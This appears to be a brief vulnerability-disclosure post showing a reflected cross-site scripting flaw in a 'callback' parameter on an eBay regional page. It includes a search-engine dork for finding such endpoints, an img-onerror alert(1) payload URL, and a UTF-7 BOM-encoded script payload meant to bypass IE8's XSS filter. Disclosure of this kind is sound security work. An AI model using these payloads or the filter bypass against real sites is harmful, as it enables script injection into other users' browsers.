"site:ebay.com inurl:callback" on google.com

and get this url:

http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=?

then
http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=?xxxx%3Cimg%20src=1%20onerror=alert(1)%3E

ofcourse u can use 《xss attacks through utf7-BOM string
injection<http://seclists.org/fulldisclosure/2011/Feb/199>》
to bypass ie8 xss filters

http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=%2B%2Fv811..%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-xcsxxadas
